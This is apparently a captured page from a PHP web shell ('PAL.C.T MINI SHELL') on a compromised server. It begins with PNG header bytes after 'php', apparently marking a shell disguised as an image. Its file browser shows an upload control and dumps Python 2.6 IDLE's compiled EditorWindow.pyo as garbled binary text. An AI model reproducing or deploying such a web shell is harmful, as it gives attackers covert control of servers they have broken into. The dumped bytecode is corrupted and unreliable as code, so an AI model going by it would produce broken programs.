php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/idlelib/
upload
files >> //usr/lib/python2.6/idlelib/EditorWindow.pyo

Lc@sddkZddkZddkZddkZddklZddkTddkZddkZddk	Z	ddk
lZddkl
Z
ddklZddklZddklZdd	klZdd
klZddklZddklZlZlZdd
klZdZdZedZdefdYZdZdZ ddk!Z!e!Z"[!defdYZ#dZ$hdd6dd6dd6Z%dZ&dZ'd Z(e)d!joe(ndS("iN(tcount(t*(tMultiCallCreator(tidlever(t
WindowList(tSearchDialog(t
GrepDialog(t
ReplaceDialog(tPyParse(tidleConf(taboutDialogttextViewtconfigDialog(t
macosxSupporticCsnti\}}}}}d||f}|o|d|7}n|djo|d|d|f7}n|S(sYFormat sys.version_info to produce the Sphinx version string used to install the chm docss%s%ss%stfinali(tsystversion_info(tmajortminortmicrotleveltserialtrelease((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt_sphinx_versions
cCsd}x|idD]}|dj	o|inti||\}}}|dtijoPnti||||}y
|i}Wqtj
ot	d|i
qXqW|||fS(sCVersion of imp.find_module() that handles hierarchical module namest.isNo source for module N(tNonetsplittclosetimptfind_modulet	PY_SOURCEtload_modulet__path__tAttributeErrortImportErrort__name__(tfullnametpathtfilettgttfilenametdescrtmodule((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt_find_module#s

tEditorWindowcBsreZddklZddklZddklZddkl	Z	l
Z
lZddkl
Z
ddklZddklZd{Zd{d{d{d{dZd	Zd
ZdZdZd{d
Zd|d}d~ddddgZeioed=ded<ndZd Zd{Zd!Z dgZ!d$Z"d{d%Z#d{d&Z$d{d'Z%d{d(Z&d)Z'd*Z(d+Z)d{d,Z*d{d-Z+d.Z,d/Z-d0Z.d1Z/d2Z0d3Z1d4Z2d5Z3d6Z4d{d7Z5d{d8Z6d{d9Z7d:Z8d;Z9d<Z:d=Z;d>Z<d?Z=d@Z>dAZ?dBZ@dCZAdDZBdEZCdFZDdGZEd{dHZFdIZGdJZHdKZIdLZJdMZKdNZLdOZMdPZNdQdRZOdSZPdQdTZQdUZRdVZSdWZTdXZUdYZVdZZWd[ZXd\ZYd]ZZd^Z[d{d_Z\d{d{d`Z]daZ^d{dbZ_d{dcZ`ddZadeZbdfZcdgZdeedhZfdiZgdjZhdkZidlZjdmZkdnZldoZmdpZndqZodrZpdsZqdtZrduZsdvZtdwZudxZvdyZwdzZxRS(i(t
Percolator(tColorDelegator(t
UndoDelegator(t	IOBindingtfilesystemencodingtencoding(tBindings(tToplevel(tMultiStatusBarc
Cs	tidjostiitidd}tii	doWddti
d }tiido
d}qd	}tii||dd}ntid d
joCtiitiddt}tii
|o
|}qn*tiotiitid}ntii|}tii
|o1|t_tid
jodtit_qqdti
d t_nti}	||_|p|i}||_ytiWntj
odt_nXt||_ti|d|i|_}
|o|i|_|i|i_nh|_h|i_tiiti d|_!t"|
|_#}t$|dd|_%}ti&ddd|_'hdd6dd6dd6|i'd6ti&dddd6}
t(djod |
d!<nt)t*||
|_+}|i+|i_,|i-|i.|ii/d"|i0|ii1d#|i2tio|i1d#|i2n|i1d$|i3|i1d%|i4|i1d&|i5|i1d'|i6|i1d(|i7|i1d)|i8|i1d*|i9|i1d+|i:|i1d,|i;|i1d-d.|i1d/|i<|i1d0|i=|i1d1|i>|i1d2|i?|i1d3|i@|i1d4|iA|i1d5|iB|i1d6|iC|i1d7|iD|i1d8|iE|i1d9|iF|i1d:|iG|i1d;|iH|i1d<|iI|i1d=|iJ|i1d>|iK|i1d?|iL|i1d@|iM|i1dA|iN|i1dB|iO|i1dC|iPdD|i1dE|iPdF|i1dG|iQ|i1dH|iR|i1dI|iS|ox||i|<|o||iT|<n|i1dJ|iU|i1dK|iiV|i1dL|iW|i1dM|iXn|iY|iZ|dN<|i[dOt\dPt]|i^|dQ<dR}ti&dddSdTdUo
dV}n|i_dWti&dddWti&dddX|f|i[dOt`dPtadYdF|i[dOtbdPtadYdF|icti&ddZd[dTdU}||_dd\|_e|ie|_f|igth|_idg|_j|ik||_l}|im|_n}|io||ip|_p|iq|_q|ir|is|it||_u}|iv|iwt|i|_x|iyd`izddadbdcdDd|ix|i{d|_||oItii}|o%tii|o|i~|q	|i|n|i|is|i|i||i|iyidd}|oh|ide}|djo
df}n|dDjo|i|dF}n||_ti|inti|_ti|_ti|_dS(hNtDocs
index.htmltlinuxspython-docs-s%s.%s.%sis/var/www/html/python/s/var/www/html/python/index.htmls/usr/share/doc/twinsPython%s.chms0Resources/English.lproj/Documentation/index.htmltdarwinsfile://shttp://docs.python.org/%d.%dis>>> tmenusrecent-files.lsttnametvbartmainR,twidthttextitpadxtnonetwraptheightg!@t
wordprocessorttabstyletWM_DELETE_WINDOWs<<close-window>>s<<cut>>s<<copy>>s	<<paste>>s<<center-insert>>s<<help>>s<<python-docs>>s<<about-idle>>s<<open-config-dialog>>s<<open-module>>s<<do-nothing>>cSsdS(tbreak((tevent((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt<lambda>ss<<select-all>>s<<remove-selection>>s<<find>>s<<find-again>>s<<find-in-files>>s<<find-selection>>s<<replace>>s
<<goto-line>>s<3>s<<smart-backspace>>s<<newline-and-indent>>s<<smart-indent>>s<<indent-region>>s<<dedent-region>>s<<comment-region>>s<<uncomment-region>>s<<tabify-region>>s<<untabify-region>>s<<toggle-tabs>>s<<change-indentwidth>>s<Left>is<Right>is<<del-word-left>>s<<del-word-right>>s<<beginning-of-line>>s<<open-new-window>>s<<close-all-windows>>s<<open-class-browser>>s<<open-path-browser>>tcommandtsidetfilltyscrollcommandtnormals	font-boldttypetbooltboldtfonts	font-sizetexpandtIndents
use-spacesii2ii@KLR&tlabelsRecent Filest	underlinetwindowstendi(i2ii@KL(R,thelp_urlRtosR%tjoinRtprefixtplatformRRtisdirRtisfileR
trunningAsOSXApptnormpathR	tCurrentThemetflisttroottps1R!tMenutmenubarRtListedToplevelttoptvarsttkinter_varstinversedictt
instance_dictt
GetUserCfgDirtrecent_files_pathtFramet
text_framet	ScrollbarR<t	GetOptionR>t	TkVersionRtTextR?tfocused_widgett
createmenubartapply_bindingstprotocolRtbindtclose_eventtcuttcopytpastetcenter_insert_eventthelp_dialogtpython_docstabout_dialogt
config_dialogtopen_modulet
select_alltremove_selectiont
find_eventtfind_again_eventtfind_in_files_eventtfind_selection_eventt
replace_eventtgoto_line_eventtright_menu_eventtsmart_backspace_eventtnewline_and_indent_eventtsmart_indent_eventtindent_region_eventtdedent_region_eventtcomment_region_eventtuncomment_region_eventttabify_region_eventtuntabify_region_eventttoggle_tabs_eventtchange_indentwidth_eventtmove_at_edge_if_selectiont
del_word_lefttdel_word_rightt
home_callbacktdicttnew_callbacktclose_all_callbacktopen_class_browsertopen_path_browsertset_status_bartyviewtpacktRIGHTtYtsettconfigtLEFTtBOTHtTOPt	focus_settusetabsttabwidthtindentwidthtset_notabs_indentwidthtFalsetcontext_use_ps1tnum_context_linesR-tperR/tundotinsertfiltertundo_block_starttundo_block_stoptset_saved_change_hooktsaved_change_hookR0tiotset_filename_change_hooktfilename_change_hooktrecent_files_menutmenudicttinsert_cascadetupdate_recent_files_listtcolortexiststloadfiletset_filenametResetColorizertset_indentation_paramstispythonsourcetload_extensionstgettindext
add_separatort	wmenu_endtregister_callbacktpostwindowsmenuttkMessageBoxtaskyesnottkSimpleDialogt
askintegert	showerror(tselfRcR(tkeyRdtdochometpyvertbasepathtchmfiletcurrentThemeRiRqR<ttext_optionsR?t
fontWeightt	usespacesRRRR:RX((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt__init__?s:


				












	
		


	'






	cCst|tp|o|Sy|i|iSWnGtj
o;y|i|iSWq{tj
o|idSXnXdS(s8convert filename to unicode in order to display it in Tks	iso8859-1N(t
isinstancetunicodetdecodeR1tUnicodeDecodeErrorR2(RR(((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt_filename_to_unicodescCs)|ii\}}|ii|dS(NRG(RtdefaultfilenameRctnew(RRHtdirnametbasename((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR(scCs4|id@djo|idjodS|iido[|iidddoB|iidddo)t|iididd	}nU|iidd}x<tt	|D]}||djoPqqWt	|}t|iididd	}||jo
d}nd
t
|d}|id	@djo|iidddn|iidp|iiddn|ii|}|iid}|ii|d|o||}}n|iiddd|ii
d|||iid||iiddS(NiitHometiomarks<=sinsert lineendsinsert linestartRit s	tinsertsinsert linestart+tctsels1.0RXs	sel.firsttanchort>RG(Rs	(tstatetkeysymR?RtcomparetintRRtxrangetlentstrt
tag_removetmark_setttag_addtsee(RRHtinsertpttlinetlineattdesttfirsttlast((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR-s:$)	%

cCs|i|i|_tio|iidddtn|iidddt|iidddt|iidtdt	|i
id	|i|i
i
d	d
d|i
i|idS(Nt	_padding1s    RKtcolumnsCol: ?RsLn: ?RLs<<set-line-and-column>>s<KeyRelease>s<ButtonRelease>(R5Rit
status_barR
R`t	set_labelRRtBOTTOMtXR?Rztset_line_and_columnt	event_addt
after_idle(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRYs

cCsS|iitid\}}|iidd||iidd|dS(NRRsCol: %sRsLn: %s(R?RtINSERTRRR(RRHRR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRgs!R&t_Fileteditt_EdittformattF_ormattrunt_Runtoptionst_OptionsRWt_Windowsthelpt_Helpit_WindowicCs|i}h|_}x_|iD]T\}}t|\}}t|d|||<}|id|d|d|q Wtio4t|dd|d<}|iddd|n|i|idi	t
|_|idS(	NR;RUR:RVtappletapplicationtIDLER(
RgRt
menu_specstprepstrRftadd_cascadeR
R`t
fill_menusRtENDtbase_helpmenu_lengthtreset_help_menu_entries(RtmbarRR;RURVR:((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRw{s	

 

cCso|id}|id}|djo
d}n||ijo|i|id|nti|dS(NRWRXii(RRRRtdeleteRtadd_windows_to_menu(RR:RX((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs


cCs|iiddd|iidd|i|if|ip|in|i}||_ti	d dj}|o|ii
dd	n|i|i|i
|o|ii
dd
ndS(NRs1.0RXRs@%d,%diR8tcursortarrowtibeam(R?RRtxtytrmenut
make_rmenuRHRR]Rttk_popuptx_rootty_root(RRHR+tiswin((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs#
		tCloses<<close-window>>cCsdt|idd}x?|iD]4\}}|i|d}|id|d|qW||_dS(NttearofficSs|i|dS(N(tevent_generate(R?t	eventname((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRJsRURJ(RfR?trmenu_specstadd_commandR+(RR+RUR4RJ((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR,s
cCsti|iddS(Ns
About IDLE(R
tAboutDialogRi(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCsti|iddS(NtSettings(RtConfigDialogRi(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCsGtiitiitiitd}ti|id|dS(Nshelp.txttHelp(	RZR%R[tabspathRt__file__Rt	view_fileRi(RRHtfn((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs-cCs<tid djoti|inti|idS(NiR8RG(RR]RZt	startfileRYt
webbrowsertopen(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCs|iiddS(Ns<<Cut>>RG(R?R3(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR|scCs,|iidpdS|iiddS(NRs<<Copy>>RG(R?t
tag_rangesR3(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR}scCs$|iid|iiddS(Ns	<<Paste>>RRG(R?R3R(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR~scCs=|iiddd|iidd|iiddS(NRs1.0send-1cRRG(R?RRR(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCs*|iiddd|iiddS(NRs1.0RXR(R?RR(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscs:|ii|iidfd}|S(sCursor move begins at start or end of selection

        When a left/right cursor key is pressed create and return to Tkinter a
        function which causes a cursor move from the associated edge of the
        selection.

        ssel.first+1cssel.last-1ccsQ|id@djo9yddWqMtj
oqMXndS(Niis	sel.firstR(RtTclError(RH(tself_text_indextedges_tabletself_text_mark_sett
edge_index(s*/usr/lib/python2.6/idlelib/EditorWindow.pytmove_at_edges
(ssel.first+1cssel.last-1c(R?RR(RRGRH((RDRERFRGs*/usr/lib/python2.6/idlelib/EditorWindow.pyRs
cCs|iiddS(Ns
<Meta-Delete>RG(R?R3(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCs|iiddS(Ns<Meta-d>RG(R?R3(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCsti|idS(NRG(RtfindR?(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCsti|idS(NRG(Rt
find_againR?(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCsti|idS(NRG(Rtfind_selectionR?(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCs ti|i|i|idS(NRG(RtgrepR?RRc(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCsti|idS(NRG(RtreplaceR?(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR
scCst|i}tiddd|}|djodS|djo|idS|idd||iddS(NtGotosGo to line number:tparentRGiRs%d.0(R?RRRtbellRR(RRHR?tlineno((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs		


c	Cs^y|iidd}Wntj
o
d}nX|i}tiddd|id|}|o|i}n|pdSy"t|\}}\}}}Wn;ttfj
o)}t	i
dt|d|idSX|ti
jo"t	i
d	d
|d|idS|o|in|io|ii|n|ii|dS(Ns	sel.firstssel.lastttModulesAEnter the name of a Python module
to search on sys.path and open:ROtinitialvaluesImport errorsUnsupported types%s is not a source module(R?RRCtstripRt	askstringR+t	NameErrorR"RRRRRRRcRARR(	RRHR;tfR&tsuffixtmodeROtmsg((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs4	"	
cCs|ii}|p+tiddd|i|iidStii	|\}}tii
|\}}ddkl}|i|i
||gdS(NsNo filenames&This buffer has no associated filenametmasteri(tClassBrowser(RR(RRR?RRRZR%RtsplitexttidlelibR]Rc(RRHR(theadttailtbasetextR]((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR;s

cCs$ddkl}|i|idS(Ni(tPathBrowser(R_RdRc(RRHRd((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRIscCso|dj	o^|djoQ|iidd||iiddd|iiddd|indS(NiRs%d.0Rs1.0RXs
insert +1l(RR?RRRtcenter(RRQ((s*/usr/lib/python2.6/idlelib/EditorWindow.pytgotolineMs
cCs|ptii|otStiitii|\}}tii|djotSy&t|}|i}|i	Wnt
j
otSX|ido|i
ddjS(Ns.pys.pyws#!tpythoni(s.pys.pyw(RZR%R^tTrueR^RtnormcaseRAtreadlineRtIOErrorRt
startswithRI(RR(RbRcRXR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRTs$cCs+|io|ii|d|_ndS(N(Rctunregister_maybe_terminateR(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt
close_hookbs
cCs
||_dS(N(Rn(RRn((s*/usr/lib/python2.6/idlelib/EditorWindow.pytset_close_hookgscCsF|io|ii|n|i|ii||idS(N(Rctfilename_changed_editRRitupdate_windowlist_registryR(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRjs


cCs|iodS|i|iio|i|_n|io=|ii|i|ii|i|ii|indS(N(	RRRR(R.RtremovefilterRR(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt
_addcolorizerqs

cCs<|ipdS|ii|ii|id|_dS(N(RtremovecolorsRRrR(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt_rmcolorizer|s


cCs|i|itiddd}ti|d}ti|ddd}ti|d}|iid	|d	d
|d
d|d|d	d
|d
dS(sUpdate the colour themeR=tThemeR;RNR&tfgBgtfgthilitet
foregroundt
backgroundtinsertbackgroundtselectforegroundtselectbackgroundN(RuRsR	RstGetHighlightR?R(Rtthemet
normal_colorstcursor_colort
select_colors((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs




cCsjd}tidddddo
d}n|iidtidddtiddd	|fd
S(s.Update the text widgets' font if it is changedRNR=R,s	font-boldRORPRQRRs	font-sizeN(R	RsR?R(RR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt	ResetFonts
cCsti|i_}x-|iD]\}}|ii||q#Wx^|iD]P}ti|}|o4x1|iD]\}}|ii||q|WqSqSWdS(s/Remove the keybindings before they are changed.N(	R	tGetCurrentKeySetR3tdefault_keydefstitemsR?tevent_deletetget_standard_extension_namestGetExtensionBindings(RtkeydefsRHtkeylistt
extensionNametxkeydefs((s*/usr/lib/python2.6/idlelib/EditorWindow.pytRemoveKeybindingss


c

Csti|i_}|ix;|iD]-}ti|}|o|i|q-q-Wh}xf|iiD]X}h||d<xA|dD]5}|o(|d||dt|dd<qqWqqWx|i	i
D]}|i	|}|itd}xt
d|D]}	|i|	djo|i|	d}
|
o|i|	d}d}|i|o*||i|o|||}qn|o&t||}
|i|	d|
qqqqWqWdS(s-Update the keybindings after they are changediiRJtacceleratorRURRN(R	RR3RRxRRtmenudefsRRtkeysRR trangeROt	entrycgetthas_keytget_acceleratortentryconfig(
RRRRt
menuEventDictR:titemtmenubarItemRXRtacceltitemNameRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pytApplyKeybindingss@


0
cCs0|ip"tiddddd|_ndS(sCUpdate the indentwidth if changed and not using tabs in this windowR=RTs
num-spacesRORN(RR	RsR(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs
cCsti}|id}|it}||ijo|i|id|n|oL|ix?|D]3}|i|d}|i	d|dd|qkWn||id<dS(s3Update the additional help entries on the Help menuRiRUiRJN(
R	tGetAllExtraHelpSourcesListRRR R!R$Rt"_EditorWindow__extra_help_callbackR6(Rt	help_listthelpmenuthelpmenu_lengthtentrytcmd((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR"s

"cCs|d}|S(sCCreate a callback with the helpfile value frozen at definition timecSs\|idptii|}ntid djoti|nti|dS(NtwwwthttpiR8(RR(	RlRZR%RaRR]R?R@RA(thelpfileturl((s*/usr/lib/python2.6/idlelib/EditorWindow.pytdisplay_extra_helps
((RRR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt__extra_help_callbackscCsg}tii|io4t|id}z|i}Wd|iXn|oHtii|d}||jo|i|n|i	d|ng}xG|D]?}d|jptii|dd!o|i
|qqWg}|D]}||jo||qq~}d}|dt|!}t|id}z|i|Wd|iXx|i
iiD]}	|	i}
|
id	txstt|D]_\}}|dd!}
|i|
}|	i|
}|
id
||d|d|d
dqWq~WdS(s/Load and update the recent files list and menustrNs
itit1234567890ABCDEFGHIJKtwiRURRJRV(RZR%RRoRAt	readlinesRR;tremoveRtappendRt
writelinesRiRmRRR$R tzipRRt#_EditorWindow__recent_file_callbackR6(Rtnew_filetrf_listtrf_list_filet	bad_pathsR%t_[1]tulcharstrf_filetinstanceR:tiR&t	file_namet
ufile_nametcallback((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRsF
(2	
cs|fd}|S(Ncsiid|dS(NteditFile(RRA(t
fn_closure(R(s*/usr/lib/python2.6/idlelib/EditorWindow.pytopen_recent_files((RRR((Rs*/usr/lib/python2.6/idlelib/EditorWindow.pyt__recent_file_callbackscCs|i}|i}|o|o|d|}n)|o
|}n|o
|}nd}|p|p|}|ipd|}d|}n|ii||ii|dS(Ns - tUntitleds*%s*s*%s(tshort_titlet
long_titlet	get_savedRitwm_titletwm_iconname(Rtshorttlongttitleticon((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs



cCs
|iiS(N(RR(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR,scCs|ii|dS(N(Rt	set_saved(Rtflag((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR/scCs|iidS(N(Rt
reset_undo(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR2scCs6|ii}|otii|}n|i|S(N(RR(RZR%RR(RR(((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR5scCs|i|iipdS(NRR(RRR((R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR<scCs|idS(N(Re(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR@sRcCsb|i}|i\}}|i|}||}td||d}|it|dS(Nii(R?tgetwindowlinest	getlinenotmaxRtfloat(RtmarkR?RitbotRQRCtnewtop((s*/usr/lib/python2.6/idlelib/EditorWindow.pyReCs	
cCss|i}|id}|id}||jo5|idjo"t|d}||d}n||fS(Ns@0,0s@0,65535iRC(R?Rtwinfo_heightR(RR?RiRRC((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRKs	 cCs"|i}tt|i|S(N(R?RRR(RRR?((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRUs	cCs:|ii}tid|}tt|i}|S(sReturn (width, height, x, y)s(\d+)x(\d+)\+(-?\d+)\+(-?\d+)(Ritwm_geometrytretmatchtmapRtgroups(Rtgeomtmttuple((s*/usr/lib/python2.6/idlelib/EditorWindow.pytget_geometryYscCs|idS(N(R(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR{`scCsn|io`|ipE|iidjo|iin|ii|iin|iiSdS(NRN(RRRiRt	deiconifytlowertliftt	maybesave(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRcs


cCs1|i}t|djo|in|S(Ntcancel(RRt_close(Rtreply((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRlscCs|iio|id|iinti|i|i|iid|_d|_	|i
o|i
itd|_
nd|_d|_
|iid|_|ii|io|indS(NR(RR(RRtunregister_callbackRtunload_extensionsRRRRRR?RkRRitdestroyRn(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRrs"


		

		
	

cCsh|_|idS(N(t
extensionstload_standard_extensions(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs	cCsEx5|iiD]$}t|do|iqqWh|_dS(NR(RtvaluesthasattrR(Rtins((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs
cCs[xT|iD]F}y|i|Wq
dGt|GHddk}|iq
Xq
WdS(NsFailed to load extensioni(Rtload_extensiontreprt	tracebackt	print_exc(RR;R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs
cCstidtS(Nteditor_only(R	t
GetExtensionsRh(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCsbyt|ttg}Wntj
odG|GHdSXt||}ti|}t|do|i|i	|n||}||i
|<|o|i|x|iD]}|i
dd}x |d djo|d}qWx |ddjo|d }qW|d	}t||o |ii|t||qqWndS(
Ns
Failed to import extension: Rt-t_it<iRt_event(t
__import__tglobalstlocalsR"tgetattrR	RRRRRRxRRMR?Rz(RR;tmodtclsRRtveventt
methodname((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs2	



cCsk|djo|ii}n|i}||_x5|iD]'\}}|o|i||q<q<WdS(N(RR3RR?RRR	(RRR?RHR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRxs
		
cCsr|d	jo|ii}n|d	jo|ii}n|i}|i}x|D]\}}|i|}|pqSnx|D]}|p|iq|\}	}
|	d dj}|o|	d}	nt|	\}}	t	||
}
||
d}|o>|i
|
t}|id|	d|d|d|
d|q|i
d|	d|d|d|
qWqSWd	S(
sAdd appropriate entries to the menus and submenus

        Menus that are absent or None in self.menudict are ignored.
        it!cSs|i|dS(N(R3(R?R4((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRJsRURVRJRtvariableN(RR3RRRR?RRRRtget_var_objt
BooleanVartadd_checkbuttonR6(RRRRR?tmnamet	entrylistR:RRUR4tcheckbuttonRVRRJtvar((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs<

		cCs4|i|}|o|i}|St|dS(N(RRRW(RR;Rtvalue((s*/usr/lib/python2.6/idlelib/EditorWindow.pytgetvars
cCs7|i||}|o|i|n
t|dS(N(RRRW(RR;R
tvartypeR((s*/usr/lib/python2.6/idlelib/EditorWindow.pytsetvarscCsC|ii|}|o%|o||i|i|<}n|S(N(RkRR?(RR;RR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRscCs?|io-|iid|pd|ii|jSdSdS(NtTODOtSTRINGi(RR?t
tag_prevranget	tag_names(Rt
text_index((s*/usr/lib/python2.6/idlelib/EditorWindow.pytis_char_in_strings
cCsMy2|iid}|iid}||fSWntj
odSXdS(Ns	sel.firstssel.last(NN(R?RRCR(RRR((s*/usr/lib/python2.6/idlelib/EditorWindow.pytget_selection_indices
scCs|idpt}t|S(Nttabs(R?tTK_TABWIDTH_DEFAULTR(Rtcurrent((s*/usr/lib/python2.6/idlelib/EditorWindow.pytget_tabwidthscCs`|i}|i|jo@|iidd|dd|id|}|id|ndS(NRRtmeasures
-displayoftnR(R?RttktcallR\t	configure(RtnewtabwidthR?tpixels((s*/usr/lib/python2.6/idlelib/EditorWindow.pytset_tabwidths		
cCs}|ob|o[|i}d|jo
djno
||_n|i|ijo
t|_qin|i|idS(Nii(tguess_indentRRRRR#(RRtguessR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR,s
cCs|i}|i\}}|o,|o%|i|||id|dS|idd}|djo6|idddo|idn|idS|dd	jo|iddS|i}t|i	|}|d
|i
|i
}tii
dd}	d}
xa||	joPn|d }|
d
}
t|i	|}||jp|dd	joPqq|i|id
|
d||jo|idd||n|idS(NRRGsinsert linestartRRRs1.0s	insert-1cis 	is
is
insert-%dcR(R?RR$RRRRPRRt
expandtabsRRReRRRR(RRHR?RRtcharsRthavetwanttlast_line_of_promptt
ncharsdeleted((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR5sD	


	





c
CsQ|i}|i\}}|iz|oR|oKt|t|jo|i|S|i|||id|n|idd}t||i	\}}|t
|jo|i||inX|i
o
d}n4t
|i|i	}|i}	d|	||	}|id||iddSWd|iXdS(NRsinsert linestarts	RRG(R?RRt
index2lineRR$RRt
classifywsRRtreindent_toRRR&RRR(
RRHR?RRR\trawt	effectivetpadR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRbs,	


	
c	Cs|i}|i\}}|iz|o+|o$|i|||id|n|idd}dt|}}x-||jo||djo|d}qW||jo|idddS|| }d}ti	i
dd}	x>|o6|ddjo%||	jo|d }|d}qW|o|id	|dnx(|iddjo|idqZW|iddt|id}
t
i|i|i}|ipx|iD]}t|
|d}
t|
d
}|i|d}|i||i|i|i|}|dj	p
|
djoPqqW|i|pdnZ|idd}|o|d}nd}|i|d}|i||id|i}|t
ijo|t
ijon|t
ijo|id|nv|t
ijo|i |i!nO|t
i"jo>|i#djo|id|q|i |i$ndS|i%}|id||i&o|i'|n&|o|i(o|i)|ndSWd|i*d|i+XdS(
NRsinsert linestartis 	is
RGisinsert - %d charss.0tconsoles1.0(,R?RRR$RRRRRReRR,RRtParserRRRRRRtset_strtfind_good_parse_startt_build_char_in_string_funcRtset_loRtget_continuation_typetC_NONEtC_STRING_FIRST_LINEtC_STRING_NEXT_LINESt	C_BRACKETR.tcompute_bracket_indenttC_BACKSLASHtget_num_lines_in_stmttcompute_backslash_indenttget_base_indent_stringtis_block_openerRtis_block_closerRRR(RRHR?RRRRRtindentR*tlnoR*tcontexttstartattstartatindextrawtexttbodRR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs	


%



	



cCs||id}|S(NcSs||d|S(Ns+%dc((toffsett_startindext_icis((s*/usr/lib/python2.6/idlelib/EditorWindow.pytinners(R(Rt
startindexRN((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR6sc
Cs|i\}}}}xott|D][}||}|oDt||i\}}	|	|i}	|i|	||||<q+q+W|i||||dS(NRG(t
get_regionRRR-RRt_make_blankst
set_region(
RRHR`RaR'tlinestposRR/R0((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs

#c
Cs|i\}}}}xxtt|D]d}||}|oMt||i\}}	t|	|id}	|i|	||||<q+q+W|i||||dS(NiRG(	RPRRR-RRRRQRR(
RRHR`RaR'RSRTRR/R0((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs
#cCsk|i\}}}}x6tt|dD]}||}d|||<q/W|i||||dS(Nis##(RPRRRR(RRHR`RaR'RSRTR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs
cCs|i\}}}}xztt|D]f}||}|pq+n|d djo|d}n |d djo|d}n|||<q+W|i||||dS(Nis##it#(RPRRRR(RRHR`RaR'RSRTR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs
c
Cs|i\}}}}|i}xwtt|D]c}||}|oLt||\}	}
t|
|\}}d|d|||	||<q7q7W|i||||dS(Ns	R(RPt_asktabwidthRRR-tdivmodRR(
RRHR`RaR'RSRRTRR/R0tntabstnspaces((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR s
&cCsr|i\}}}}|i}x1tt|D]}||i|||<q7W|i||||dS(N(RPRVRRR&RR(RRHR`RaR'RSRRT((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR+scCs\|iddd
|idd|idd	d
|io|i|_d|_ndS(NsToggle tabss
Turn tabs tontoffs?
Indent width swill bes
remains ats 8.s!
 Note: a tab is always 8 columnsROiRG(RZR[(swill bes
